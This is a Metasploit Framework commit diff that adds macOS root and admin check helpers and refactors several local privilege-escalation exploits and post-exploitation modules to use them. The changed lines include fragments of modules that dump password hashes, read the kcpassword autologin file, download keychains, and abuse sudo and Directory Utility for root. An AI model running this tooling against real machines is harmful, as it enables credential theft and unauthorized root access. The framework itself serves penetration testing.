Add Msf::Post::OSX::Priv mixin

GSoC/Meterpreter_Web_Console
Brendan Coles 2018-05-22 22:25:39 +00:00
parent 0472b9df3f
commit 45481f26b6
8 changed files with 60 additions and 43 deletions

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*-
module Msf::Post::OSX
require 'msf/core/post/osx/priv'
require 'msf/core/post/osx/system'
require 'msf/core/post/osx/ruby_dl'
end

View File

@ -0,0 +1,26 @@
# -*- coding: binary -*-
require 'msf/core/post/common'
module Msf
class Post
module OSX
module Priv
include ::Msf::Post::Common
#
# Returns true if running as root, false if not.
#
def is_root?
cmd_exec('/usr/bin/id -ru').eql? '0'
end
#
# Returns true if session user is in the admin group, false if not.
#
def is_admin?
cmd_exec('groups | grep -wq admin && echo true').eql? 'true'
end
end
end
end
end

View File

@ -6,6 +6,7 @@
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
@ -57,10 +58,14 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
(ver? && admin?) ? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe
(ver? && is_admin?) ? CheckCode::Appears : CheckCode::Safe
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
print_status("Writing exploit to `#{exploit_file}'")
write_file(exploit_file, python_exploit)
register_file_for_cleanup(exploit_file)
@ -81,10 +86,6 @@ class MetasploitModule < Msf::Exploit::Local
)
end
def admin?
cmd_exec('groups | grep -wq admin && echo true') == 'true'
end
def sploit
"#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
end

View File

@ -6,6 +6,7 @@
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
@ -48,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
if ver? && admin?
if ver? && is_admin?
vprint_status("Version is between 10.9 and 10.10.3, and is admin.")
return Exploit::CheckCode::Appears
else
@ -57,6 +58,10 @@ class MetasploitModule < Msf::Exploit::Local
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
print_status("Copying Directory Utility.app to #{new_app}")
cmd_exec("cp -R '/System/Library/CoreServices/Applications/Directory Utility.app' '#{new_app}'")
cmd_exec("mkdir -p '#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS'")
@ -87,10 +92,6 @@ class MetasploitModule < Msf::Exploit::Local
)
end
def admin?
cmd_exec('groups | grep -wq admin && echo true') == 'true'
end
def sploit
"#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
end

View File

@ -13,12 +13,12 @@ class MetasploitModule < Msf::Exploit::Local
# it at his own risk
Rank = NormalRanking
include Msf::Post::OSX::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
SYSTEMSETUP_PATH = "/usr/sbin/systemsetup"
SUDOER_GROUP = "admin"
VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']]
CMD_TIMEOUT = 45
@ -113,7 +113,8 @@ class MetasploitModule < Msf::Exploit::Local
return Exploit::CheckCode::Safe
end
if not user_in_admin_group?
# check that the user is in OSX's admin group, necessary to change sys clock
unless is_admin?
vprint_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."
return Exploit::CheckCode::Safe
end
@ -122,9 +123,14 @@ class MetasploitModule < Msf::Exploit::Local
end
def exploit
if not user_in_admin_group?
fail_with(Failure::NotFound, "User is not in the 'admin' group, bailing.")
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless is_admin?
fail_with(Failure::NoAccess, "User is not in the 'admin' group, bailing.")
end
# "remember" the current system time/date/network/zone
print_good("User is an admin, continuing...")
@ -234,11 +240,6 @@ class MetasploitModule < Msf::Exploit::Local
@_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) }
end
# checks that the user is in OSX's admin group, necessary to change sys clock
def user_in_admin_group?
cmd_exec("groups `whoami`").split(/\s+/).include?(SUDOER_GROUP)
end
# helper methods for dealing with sudo's vn num
def parse_vn(vn_str)
vn_str.split(/[\.p]/).map(&:to_i)

View File

@ -5,6 +5,7 @@
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::OSX::Priv
# extract/verify by by XORing your kcpassword with your password
AUTOLOGIN_XOR_KEY = [0x7D, 0x89, 0x52, 0x23, 0xD2, 0xBC, 0xDD, 0xEA, 0xA3, 0xB9, 0x1F]
@ -35,7 +36,7 @@ class MetasploitModule < Msf::Post
def run
# ensure the user is root (or can read the kcpassword)
unless user == 'root'
unless is_root?
fail_with(Failure::NoAccess, "Root privileges are required to read kcpassword file")
end

View File

@ -7,6 +7,7 @@ require 'msf/core/auxiliary/report'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Auxiliary::Report
def initialize(info={})
@ -33,8 +34,7 @@ class MetasploitModule < Msf::Post
host = cmd_exec("hostname")
end
print_status("Running module against #{host}")
running_root = check_root
if running_root
if is_root?
print_status("This session is running as root!")
end
@ -102,12 +102,6 @@ class MetasploitModule < Msf::Post
return logs
end
# Checks if running as root on the target
def check_root
# Get only the account ID
cmd_exec("/usr/bin/id", "-ru") == "0"
end
# Checks if the target is OSX Server
def check_server
# Get the OS Name
@ -204,7 +198,7 @@ class MetasploitModule < Msf::Post
if session.type =~ /shell/
# Enumerate and retreave files according to privilege level
if not check_root
if not is_root?
# Enumerate the home folder content
home_folder_list = cmd_exec("/bin/ls -ma ~/").split(", ")
@ -285,7 +279,7 @@ class MetasploitModule < Msf::Post
if ver_num =~ /10\.(7|6|5)/
print_status("Capturing screenshot")
picture_name = ::Time.now.strftime("%Y%m%d.%M%S")
if check_root
if is_root?
print_status("Capturing screenshot for each loginwindow process since privilege is root")
if session.type =~ /shell/
loginwindow_pids = cmd_exec("/bin/ps aux \| /usr/bin/awk \'/name/ \&\& \!/awk/ \{print \$2\}\'").split("\n")
@ -373,7 +367,7 @@ class MetasploitModule < Msf::Post
next if u.chomp =~ /Shared|\.localized/
users << u.chomp
end
if check_root
if is_root?
users.each do |u|
print_status("Enumerating and Downloading keychains for #{u}")
keychain_files = cmd_exec("/usr/bin/sudo -u #{u} -i /usr/bin/security list-keychains").split("\n")

View File

@ -11,6 +11,7 @@ class MetasploitModule < Msf::Post
OSX_IGNORE_ACCOUNTS = ["Shared", ".localized"]
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Auxiliary::Report
def initialize(info={})
@ -38,7 +39,9 @@ class MetasploitModule < Msf::Post
# Run Method for when run command is issued
def run
fail_with(Failure::BadConfig, "Insufficient Privileges: must be running as root to dump the hashes") unless root?
unless is_root?
fail_with(Failure::BadConfig, 'Insufficient Privileges: must be running as root to dump the hashes')
end
# iterate over all users
users.each do |user|
@ -189,12 +192,6 @@ class MetasploitModule < Msf::Post
print_status("Credential saved in database.")
end
# Checks if running as root on the target
# @return [Bool] current user is root
def root?
whoami == 'root'
end
# @return [String] containing blob for ShadowHashData in user's plist
# @return [nil] if shadow is invalid
def grab_shadow_blob(user)
@ -213,9 +210,4 @@ class MetasploitModule < Msf::Post
def ver_num
@version ||= cmd_exec("/usr/bin/sw_vers -productVersion").chomp
end
# @return [String] name of current user
def whoami
@whoami ||= cmd_exec('/usr/bin/whoami').chomp
end
end